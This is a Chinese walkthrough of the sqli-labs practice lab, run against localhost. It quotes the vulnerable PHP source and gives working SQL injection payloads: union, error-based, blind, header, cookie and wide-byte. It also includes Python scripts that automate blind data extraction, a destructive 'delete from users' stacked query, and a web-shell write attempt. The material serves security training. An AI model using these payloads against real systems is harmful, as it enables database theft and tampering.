原文链接:http://p0desta.com/2018/01/28/Sqli_labs%E9%80%9A%E5%85%B3%E6%96%87%E6%A1%A3/#less-26a
暴库
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#检查是否存在漏洞
http://127.0.0.1/4/Less-1/?id=1' 报错
http://127.0.0.1/4/Less-1/?id=1' or '1'='1 正确
这里第一句报错是因为还有一个单引号没闭合
第二句恰好弥补了这个问题,这样就足以说明存在注入漏洞
#补充
#检测表的列数
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23 //正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23 //报错
#爆出当前数据库
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,database(),3 %23
#爆出所有数据库
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA %23
这里说明一下group_concat()这个函数,这是一个联合函数,将数据库中一列的所有数据连接起来
#爆出指定用户名的密码
http://127.0.0.1/4/Less-1/?id=-1' union select * from users where username='admin' %23
这里我试了一下,在浏览器中*并不会被编码,所以可以直接使用,还有一点admin一定要加上引号,不然报错,也就是说在sql语句查询中必须对应数据类型,int就不用加,varchar和char就需要加上单或双引号。
这里给大家解释一下为什么开头两个语句中id是1后面怎么就全部改为-1了,原因很简单这里变为-1是为了使前面的数据查询为空,这样后面语句查询出来的数据才能显示出来。
#这里自己构造了一个语句
http://127.0.0.1/4/Less-1/?id=-1' union select 1,group_concat(table_schema),group_concat(table_name) from information_schema.tables %23
上面这条语句可以爆出所有的数据库及其相对于的表名
数字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
#数值型不许要闭合单引号
http://127.0.0.1/4/Less-2/?id=-1 union select 1,database(),3
括号单引号闭合
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-3/?id=-1') union select 1,database(),3 %23
括号双引号闭合
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
http://127.0.0.1/4/Less-4/?id=-1") union select 1,database(),3 %23
检测注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
此处爆出来数据库名
#Author:p0desta
import requests
import string
import sys
import binascii
global findBit
Flag_yes = "You are in"
def sendPayload(payload):
url = 'http://127.0.0.1/4/Less-5/?id=1'+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def findTableNumber(dbname):
count = 1
dbname = '0x' + str(binascii.b2a_hex(dbname))
while count:
payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findColumnNumber(tableName):
count = 1
tableName = '0x' + str(binascii.b2a_hex(tableName))
while count:
payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findDataNumber(columnName,tableName):
count = 1
while count:
payload = "'AND (select count("+columnName+") from "+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def getDatabaseName(dbNum):
global findBit
for k in range(dbNum):
i = 1
while i :
findBit = 0
doubleSearchDbs(-1,255,i,k)
i += 1
if findBit == 1:
sys.stdout.write("`\r\n")
break
def getTableName(tableNum,dbName):
global findBit
dbName = '0x' + str(binascii.b2a_hex(dbName))
for k in range(tableNum):
i = 1
while i :
findBit = 0
doubleSearchTable(-1,255,i,k,dbName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getColumnName(columnNum,tableName):
global findBit
tableName = '0x' + str(binascii.b2a_hex(tableName))
for k in range(columnNum):
i = 1
while i :
findBit = 0
doubleSearchColumn(-1,255,i,k,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getDataName(dataNum,columnName,tableName):
global findBit
for k in range(dataNum):
i = 1
while i :
findBit = 0
doubleSearchData(-1,255,i,k,columnName,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def doubleSearchDbs(leftNum,rightNum,i,k):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchDbs(midNum,rightNum,i,k)
else:
doubleSearchDbs(leftNum,midNum,i,k)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchTable(midNum,rightNum,i,k,dbName)
else:
doubleSearchTable(leftNum,midNum,i,k,dbName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchColumn(midNum,rightNum,i,k,tableName)
else:
doubleSearchColumn(leftNum,midNum,i,k,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
else:
doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
dbNum = findDatabaseNumber()
print ("the number of database is "+str(dbNum))
getDatabaseName(dbNum)
dbName = input('Find tables from :')
tableNum = findTableNumber(dbName)
print ("the nameber of table is: " + str(tableNum))
getTableName(tableNum,dbName)
tableName = input('Find columns from :')
columnNum = findColumnNumber(tableName)
print ("the number of column is: " + str(columnNum))
getColumnName(columnNum,tableName)
columnName = input('Find data from :')
dataNum = findDataNumber(columnName,tableName)
print ("the number of data is :" + str(dataNum))
getDataName(dataNum,columnName,tableName)
exp()
双引号检测
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同上
写文件
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
select "$_POST['password']); ?>" into outfile "./1.php"
报错信息:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
结果当我以下面这条语句执行时
http://127.0.0.1/4/Less-7/?id=-1')) union select 1,2,"" into outfile "D:/ruanjian/crack_env/phpstudy/PHPTutorial/WWW/4/Less-7/shell.php" %23
直接报错
You have an error in your SQL syntax
看了一下源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in.... Use outfile......';
echo "
";
echo "";
}
else
{
echo '';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
从上面的两条报错信息可以看出,mysql只要开启了 --secure-file-priv ,写文件就会出错
同上面盲注脚本
基于时间的注入
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/4/Less-8/?id=1'
def check(payload):
url_new = url + payload
time_start = time.time()
content = requests.get(url=url_new)
time_end = time.time()
if time_end - time_start >5:
return 1
result = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,100):
for c in s:
payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7573657273 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
if check(payload):
result += c
break
if ll==len(result):
print ('table_name: '+result)
end = input('-------------')
ll = len(result)
print (result)
双引号闭合
#下面一段是页面源码
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
#在mantra的post数据中输入如下代码
uname = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
&passwd = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
这里可以看出#并没有被转转码,post中#不需要转码
#这里分享一下其它的payload
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
与上题类似,只不过用")闭合
uname=admin')#&passwd='#
同时,需要用"闭合
同上
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://localhost:20000/sqllab/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()
waf绕过
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
#这题出现了waf过滤
admin" and 1=(updatexml(1,concat(0x3a,(select user())),1))#&passwd='#
header注入
#可以看出对uname和passwd都做了过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
#但是请求头却没有任何过滤
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
#利用burpsuite抓包再修改User-Agent即可注入
POST /4/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: chrome','7.7.7.7','mcc')#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-18/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
#发送上面的包后,虽然页面上还是没什么显示,但数据已经成功插入数据库
同上
同上
#存在注入语句
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
#这里可以看出cookie使存在漏洞的
GET /4/Less-21/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=YWRtaW4%3D
Connection: close
#我们可以反响构造cookie语句爆出其它用户的密码
payload:superman') #
base64加密:c3VwZXJtYW4nKSAj
将上面的加密后的字符填入cookie即可查询superman的密码
这里通过通过修改本地cookie切换用户还是存在一些问题,抓包发现cookie根本没有上传
#相比于上一题多了一句话
$cookee1 = '"'. $cookee. '"';
#这里我刚开始尝试的是将admin" #转码再赋值给cookie,但是发现#并没起作用,而是直接保存在了字符串中
#于是尝试使用"闭合语句,构造下列语句
payload:admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
base64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAiMSI9IjEK
#实测可以爆出数据库名
这里updatexml(1,concat(0x7e,database(),0x7e),1) 是一个报错型SQL注入
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#这次的payload过滤了注释符号
#可以尝试使用?id=-1' and select 1,table_schema,table_name from information_schema.tables where table_schema="security" and '1'='1
#但是发现因为字符太长,被截断了。
#于是还是用简单一点的吧
http://127.0.0.1/4/Less-23/?id=-1' union select 1,database(),'1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
但这里存在一个问题
仔细查看$username的来源就会发现
$username= $_SESSION["username"];
这是利用session来获取的,除非暴力破解session,否则根本没法改变username
这里就是关键,如何构造出username为admin’#的session,最后发现可以直接先注册一个admin’#的账后然后登陆,此时,$_SESSION[“username”]自然就变成了admin’#,然后再重置密码,此时重置的账户就是admin的密码了。
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#最初想的的是直接上
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
#后来发现报错,看函数,原来是or被替换为了"",因此就多加了一个or
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
#直接爆出了所有的表
http://127.0.0.1/4/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-26/?id=-1'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1
#以上语句直接爆出了当前数据库的所有表名
#这里用()代替了空格
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),1,1)))=('s
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),2,1)))=('e
...
构造脚本跑出数据库名
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#下面这条语句顺利爆出了当前数据库
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) ||'1'='1
#下面这条却出现了语法错误
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) %23
从上面可以看出过滤了#
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
http://127.0.0.1/4/Less-27a/?id=-1"||(seleCt(substr((seleCt(database())),1,1)))="s
同上
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
这里过滤掉了union和select
http://127.0.0.1/4/Less-28/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
也是刚才理解了这句话
这里相当于进行了id=('0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s')这一赋值语句
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-28a/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
同上
一下是login.php界面
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}
}
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 --+
//上面的语句是通过设置白名单,只有请求的id和&之间的部分符合以数字开头结尾即可,这里的$_SERVER['QUERY_STRING']指的是?之后的字符串
//这里看了很久,才发现--是sql语句的注释符不是php的
最后得到的sql语句是
SELECT * FROM users WHERE id='' union select 1,database(),3 -- ' LIMIT 0,1
这里的+号的作用还是没想明白,可能是用作字符串拼接吧,不过我试了一下
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 -- '也是可以的
sql语句的注释符
#
--
/**/
查这道题是看到一篇博客上介绍了三个函数,顺便记录下来
length()函数
length(database()) =8(true)
substr()函数
substr(database(),1,1)="s"(true)
ascii()函数
ascii(substr(database(),1,1)) = 115(对应的ascii码是s)
同上
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
http://127.0.0.1/4/Less-31/login.php/?id=1&id=") union select 1,database(),3 --+
//这里服务器端接受的id是后一个id置
//有一个问题是为什么注入语句不直接是下面这条语句
http://127.0.0.1/4/Less-31/login.php/?id=") union select 1,database(),3 --+
//这句话是直接报错的
//这里,查了很多没找到,自己猜测因该是用前一个的id定义绕过isset($_GET['id'])
//用后一个id作为payload
//检测函数
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
http://127.0.0.1/4/Less-32/?id=-1 %df%27 union select 1,database(),3 %23
//此处需要说明一下preg_quote()函数,
//preg_quote() 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
//正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
//另外一种用法
//在这个例子中,preg_quote($word) 用于保持星号原文涵义,使其不使用正则表达式中的特殊语义。
$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word) . "/",
"" . $word . "",
$textbody);
echo $textbody;
?>
同上
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-34/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-34/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
uname=1+%df%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%bf%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%fe%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
mysql_query("SET NAMES gbk");
http://127.0.0.1/4/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
http://127.0.0.1/4/Less-36/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 %23
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
uname=1%bf%27+or+1%3D1+%23&passwd=asdfaf&submit=Submit
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
uname=1%Bf%27+union+select+version%28%29%2Cdatabase%28%29%23&passwd=adsf&submit=Submit
以上两个payload都是可行的
叠加注入
http://127.0.0.1/4/Less-38/?id=-1' union select 1,database(),3;create database hcc;create table test like users;%23
同上
同上
同上
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//password注入
';delete from users where username="test2";#
' union select 1,database(),3;#
POST /4/Less-42/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-42/
Cookie: PHPSESSID=96i2qhknegbma7it3tkkjecgg5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
login_user=1&login_password=' union select 1,database(),3;#&mysubmit=Login
同上
同上
同上
//构造脚本盲注
http://127.0.0.1/4/Less-46/?sort=rand(ascii(left(database(),1))=115)
同上
http://127.0.0.1/4/Less-48/?sort=(ascii(substr((select database()) ,1,1))) = 115
盲注
同上
叠加注入
同上
同上
同上
//得到表名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
//得到列名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_name='vccxqgykem')--+
//得到secret_key
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(secret_7O6V) from challenges.vccxqgykem)--+
s6b5Y9iSw0nH34iLJPkdVzdi
http://127.0.0.1/4/Less-55/?id=-1) union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
http://127.0.0.1/4/Less-56/?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
http://127.0.0.1/4/Less-57/?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
http://127.0.0.1/4/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
//注意这里的0x7e不能省略
http://127.0.0.1/4/Less-59/?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
http://127.0.0.1/4/Less-60/?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
